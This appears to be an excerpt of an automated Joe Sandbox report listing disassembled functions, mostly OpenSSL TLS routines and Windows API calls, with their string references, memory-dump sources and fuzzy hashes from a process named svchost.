tls_construct_end_of_early_data, xrefs: 00007FFBAB48CBB7
ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48CBC3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: ssl\statem\statem_clnt.c$tls_construct_end_of_early_data
API String ID: 1390262125-1184863746
Opcode ID: 0c5cd1865cee1c296b5e24ba19347e5ad3a2e43974ec7d2134c3ec4f50494873
Instruction ID: edd2aa5e3bf0b396d4b412140a7ae1bb612e7e1b9f309a30aab3320f5275cc73
Opcode Fuzzy Hash: 0c5cd1865cee1c296b5e24ba19347e5ad3a2e43974ec7d2134c3ec4f50494873
Instruction Fuzzy Hash: E4F082E1E1A18283E352DBB5D8867F822509F44754F48C931DE2C876F2DE6DA9CA8710

Function 00007FFBAB48815C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB488171
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB488189

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

read_state_machine, xrefs: 00007FFBAB48817B
ssl\statem\statem.c, xrefs: 00007FFBAB488182

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: read_state_machine$ssl\statem\statem.c
API String ID: 1390262125-2676740512
Opcode ID: ed3bc549ff9b318cf91dc269b9fb4ae0094196de91c5771c2781463e6c9ae1fe
Instruction ID: ef8c3edff01fd83b770f6a8d19198fdc43a68a880b138104fc2c28de81d6f6a1
Opcode Fuzzy Hash: ed3bc549ff9b318cf91dc269b9fb4ae0094196de91c5771c2781463e6c9ae1fe
Instruction Fuzzy Hash: DBF08262B1E68245FB539775E9917BD17109B49768F448432CF6D469E3DD3C848A8300

Function 00007FFBAB440F6D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3-X64 ref: 00007FFBAB440FAA
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB440FDD

Part of subcall function 00007FFBAB441090: BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43ECDD), ref: 00007FFBAB4410D4
Part of subcall function 00007FFBAB441090: BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43ECDD), ref: 00007FFBAB4410EF

Strings

%s (%d), xrefs: 00007FFBAB440FD0
unexpected value, xrefs: 00007FFBAB440F81

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printf$O_indent
String ID: %s (%d)$unexpected value
API String ID: 1715996925-1289549259
Opcode ID: 6655d82fb737ad4558221fe7d857a957b5f4ea2486deba5950a07bd41afc27a2
Instruction ID: 789b9536cce61a2758f0500748361e7ad1959e5244c693613dafe8ba4ca4e872
Opcode Fuzzy Hash: 6655d82fb737ad4558221fe7d857a957b5f4ea2486deba5950a07bd41afc27a2
Instruction Fuzzy Hash: 99F062B0A1E64283EB2A9B75D4515BC2A51BF44B84F44C031DE6D07BB58E7CA561D704

Function 00007FFBAB466F9D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FA7
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Handshake done, xrefs: 00007FFBAB466F9D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts
String ID: <unexpected trailing frame data skipped>$Handshake done
API String ID: 1322637139-3908905225
Opcode ID: 773119932e0814d6e5d3013704d7a313269f5b9c811261945f28ea59a9917dc6
Instruction ID: fd03efcf613e3578733f5a7e528840e4bcdcca82b0204bd0a56beebba43678f2
Opcode Fuzzy Hash: 773119932e0814d6e5d3013704d7a313269f5b9c811261945f28ea59a9917dc6
Instruction Fuzzy Hash: A7F01CE1E4A24241FE2AA735E4613FD13909F457A4F449436DE6D465A2DE3CE4C68200

Function 00007FFBAB4667B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB4667BF
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Padding, xrefs: 00007FFBAB4667B5

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts
String ID: <unexpected trailing frame data skipped>$Padding
API String ID: 1322637139-3812551105
Opcode ID: 8fcc33ccdfee8de1e13c02cb3314ec5b2480997141a2a5f25eeb24d604b6c0f9
Instruction ID: 36079d2728a47e3160643cfcef41cb954b7f955ec0c99fce5c775637c0e374df
Opcode Fuzzy Hash: 8fcc33ccdfee8de1e13c02cb3314ec5b2480997141a2a5f25eeb24d604b6c0f9
Instruction Fuzzy Hash: 08F01CD1E4A24281FA2AA735E4613BD13509B41794F549036DE2E465B2DE3CE4868201

Function 00007FFBAB498300 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB498300
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB498318

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

tls_process_end_of_early_data, xrefs: 00007FFBAB498305
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB498311

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: ssl\statem\statem_srvr.c$tls_process_end_of_early_data
API String ID: 1390262125-1059509600
Opcode ID: 560050212a197dcc58c1741e5c055a236f108b8ce10d7eadae2156d1f2fbc594
Instruction ID: b3b96355489124dfa70e13ae64ee6f2763c303f46660b3303c66d7fa50f86fc5
Opcode Fuzzy Hash: 560050212a197dcc58c1741e5c055a236f108b8ce10d7eadae2156d1f2fbc594
Instruction Fuzzy Hash: D9E0E6B1A1914252E752976AE4924F9A311AFD0740F844432DF2C435B79D68E5858700

Function 00007FFBAB4981D2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4981D8
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4981F0

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

ossl_statem_server_pre_work, xrefs: 00007FFBAB4981DD
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB4981E9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: ossl_statem_server_pre_work$ssl\statem\statem_srvr.c
API String ID: 1390262125-3016895475
Opcode ID: 8cea0a81d003a390121cb4e9fa3ca6797fbe56aa17a0677a7522c174ca79dbb3
Instruction ID: f44dc74d6c17e418e15b67aa0638e57fadfc873c1b3ecc0d636fb1b63eb7cec5
Opcode Fuzzy Hash: 8cea0a81d003a390121cb4e9fa3ca6797fbe56aa17a0677a7522c174ca79dbb3
Instruction Fuzzy Hash: C3D012A1A1A04287E7639772D893AFA1250AF40344F40C835DE2D825B2DE6DE6858740

Function 64942770 Relevance: 6.3, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 64942789
LeaveCriticalSection.KERNEL32 ref: 6494279F

Part of subcall function 64941A20: EnterCriticalSection.KERNEL32 ref: 64941A36
Part of subcall function 64941A20: LeaveCriticalSection.KERNEL32 ref: 64941A53

LeaveCriticalSection.KERNEL32 ref: 64942803

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: e6d460741ffd87fbcc524c01911827848854fb32983ebbc26eab718bd315e335
Instruction ID: 839a74ca1950b2cb207cd67fc0816a519b1457acde348efc587b99345e1d84d6
Opcode Fuzzy Hash: e6d460741ffd87fbcc524c01911827848854fb32983ebbc26eab718bd315e335
Instruction Fuzzy Hash: D43146766907408BD7448F36D84079E77A6F78ABDCF188222DE2A87758EF39D096C710

Function 64945570 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 84d1d499dd5c580db071729b4aff6c3732617e42b37efa82cf2e3daec4575e8e
Instruction ID: f54dc3540dcdf39a3e766a566c17badb3a3e851a3ded68f22904b7f3e537b287
Opcode Fuzzy Hash: 84d1d499dd5c580db071729b4aff6c3732617e42b37efa82cf2e3daec4575e8e
Instruction Fuzzy Hash: 0521CC22BC611446FF5A9FF5E95037D16566F99BB8F580624CF2D4B3A4FF28C8828B00

Function 64945F50 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 64945F87

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: HandleInformation
String ID:
API String ID: 1064748128-0
Opcode ID: 70f363d5e4adba558b642a658e2de984ee0605ceb2eeecdc855e808291014c40
Instruction ID: 79745a4ad5391706be20fe4235e8674050c91398eb3db706ed52aa63cfbd30a6
Opcode Fuzzy Hash: 70f363d5e4adba558b642a658e2de984ee0605ceb2eeecdc855e808291014c40
Instruction Fuzzy Hash: 9431A0213C150080FB11DF32ED403AA63AAEF94BD8F4445728E1D977A4EF39C986C321

Function 649472B0 Relevance: 6.1, APIs: 4, Instructions: 86timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 649472DB

Part of subcall function 649456A0: WaitForSingleObject.KERNEL32 ref: 649456C4

_errno.MSVCRT ref: 6494733E
GetSystemTimeAsFileTime.KERNEL32 ref: 6494735B
_errno.MSVCRT ref: 649473B8

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Time$FileSystem_errno$ObjectSingleWait
String ID:
API String ID: 619567339-0
Opcode ID: c903c4d7f9b72e94d93dbc11975c71b78c8edad599be5a2c54c4313e5523792b
Instruction ID: 583b08ec4c6ea9d136f58fd54912cdfbde6537a34a37690e72838d8498947f60
Opcode Fuzzy Hash: c903c4d7f9b72e94d93dbc11975c71b78c8edad599be5a2c54c4313e5523792b
Instruction Fuzzy Hash: 4221EAB279464987DF1DEF39FD042596267A795BE4F58C231EE094BB98EA38C4418310

Function 00007FFBAB4448D0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

RAND_priv_bytes_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB4449A2
BN_bin2bn.LIBCRYPTO-3-X64 ref: 00007FFBAB4449B7
OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB4449CD
SRP_Calc_B_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB444A02

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: B_exCalc_D_priv_bytes_exL_cleanseN_bin2bn
String ID:
API String ID: 1900010111-0
Opcode ID: 33580f98e1a4f0ee6f9f21e2b1bf04ba9079198bb15dc907ab785c7963e00336
Instruction ID: 9da546a4ba6168ca75062ff0acf2c9da345b2fd263a70238d6bb7dd5218d1736
Opcode Fuzzy Hash: 33580f98e1a4f0ee6f9f21e2b1bf04ba9079198bb15dc907ab785c7963e00336
Instruction Fuzzy Hash: 4E41627671AA8286EBA58F36D4603AD73A0FB44B88F488035DE5D9B7A5DF3CD458C700

Function 64945E50 Relevance: 6.1, APIs: 4, Instructions: 68synchronizationCOMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 64945E78
WaitForSingleObject.KERNEL32 ref: 64945ED7
CloseHandle.KERNEL32 ref: 64945EE8
CloseHandle.KERNEL32 ref: 64945EF3

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Handle$Close$InformationObjectSingleWait
String ID:
API String ID: 135186658-0
Opcode ID: c30ba9446f7f4fa1be5e53161ebeb563100884b9ac3cb260c09908a3213b95ff
Instruction ID: 3b7f193e5d864bfd26511a8a9e44dec223bbdd41615677f5d40ebcd1d534f3ba
Opcode Fuzzy Hash: c30ba9446f7f4fa1be5e53161ebeb563100884b9ac3cb260c09908a3213b95ff
Instruction Fuzzy Hash: 4221DE7238164095EB05CFB2E84835A2369EB94FBCF4482369F2D87798EF34C981C710

Function 00007FFBAB445010 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

RAND_priv_bytes_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB445044
BN_bin2bn.LIBCRYPTO-3-X64 ref: 00007FFBAB44505E
OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB445074
SRP_Calc_A.LIBCRYPTO-3-X64 ref: 00007FFBAB44508E

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Calc_D_priv_bytes_exL_cleanseN_bin2bn
String ID:
API String ID: 2662037904-0
Opcode ID: be2ce4ad4d8f74981af46178bf6be46a742416030eefa523c97b05687784e7fb
Instruction ID: bf64ca641ba00d8db433d8a3df5e584199349a3fb8d6692993f97b7180e1377c
Opcode Fuzzy Hash: be2ce4ad4d8f74981af46178bf6be46a742416030eefa523c97b05687784e7fb
Instruction Fuzzy Hash: F71170A275AA8582FB61DB35E4A12AE3390FFC8B48F444032EE5D877A5DF2CD545C700

Function 64944CB0 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 64944CCD
GetProcessAffinityMask.KERNEL32 ref: 64944CDC
GetCurrentProcess.KERNEL32 ref: 64944D12
SetProcessAffinityMask.KERNEL32 ref: 64944D1A

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: cb020629db8d9df8f43dbe50ffc33e56ce6b6f70c300bc2b20a6d5ce7658db5c
Instruction ID: a28e0928b939d3290fc9391eb43c8c4365bbbae0e382f54d2b97f9d83160bf69
Opcode Fuzzy Hash: cb020629db8d9df8f43dbe50ffc33e56ce6b6f70c300bc2b20a6d5ce7658db5c
Instruction Fuzzy Hash: BFF0F033780A1456EF264F2AF80039F6395BB88B8CF890134DE8C47360EE3EC556CA10

Function 64947210 Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32 ref: 6494725D
SetSystemTime.KERNEL32 ref: 6494726A
_errno.MSVCRT ref: 64947280
_errno.MSVCRT ref: 64947293

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Time$System_errno$File
String ID:
API String ID: 2046127076-0
Opcode ID: 865d12a501b8b53ec2b4ffe41e8b0cc87b075d7569cf6ad6906a412f6eef4b1d
Instruction ID: 9b2965fae3bff372d08399535a378afc7e62826f71c7462fdf77964becce744f
Opcode Fuzzy Hash: 865d12a501b8b53ec2b4ffe41e8b0cc87b075d7569cf6ad6906a412f6eef4b1d
Instruction Fuzzy Hash: 670126B139060583DF152F35ED0432BA396BB86B99F058321E92A8ABD4EF3DC4108B10

Function 00007FFBAA01AC78 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBAA01ACA4
GetCurrentThreadId.KERNEL32 ref: 00007FFBAA01ACB2
GetCurrentProcessId.KERNEL32 ref: 00007FFBAA01ACBE
QueryPerformanceCounter.KERNEL32 ref: 00007FFBAA01ACCE

Memory Dump Source

Source File: 0000001A.00000002.2847513785.00007FFBA9DF8000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFBA9CD0000, based on PE: true

Associated: 0000001A.00000002.2847494716.00007FFBA9CD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001A.00000002.2847513785.00007FFBA9CD1000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001A.00000002.2847753443.00007FFBAA01B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001A.00000002.2847870900.00007FFBAA116000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001A.00000002.2847889608.00007FFBAA117000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001A.00000002.2847947644.00007FFBAA118000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001A.00000002.2847966206.00007FFBAA11A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001A.00000002.2847985695.00007FFBAA11E000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffba9cd0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 433c8d796f7dbfaa30b33fdd26296c3a8614dd24921e54f212f1ee0b781c75b1
Instruction ID: e584f56e44a086628c5fb67a8b54abc25f3d8823dac30fe18adcb0a46716e7aa
Opcode Fuzzy Hash: 433c8d796f7dbfaa30b33fdd26296c3a8614dd24921e54f212f1ee0b781c75b1
Instruction Fuzzy Hash: DD118C62B05F02C9EB018B70E8442A837B8FB0A758F440E36DE6D427A4DF38D1668350

Function 00007FFBAB424FC0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

X509_STORE_add_lookup.LIBCRYPTO-3-X64 ref: 00007FFBAB424FE2
ERR_set_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB424FFA
X509_LOOKUP_ctrl_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB425029
ERR_pop_to_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB42502E

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

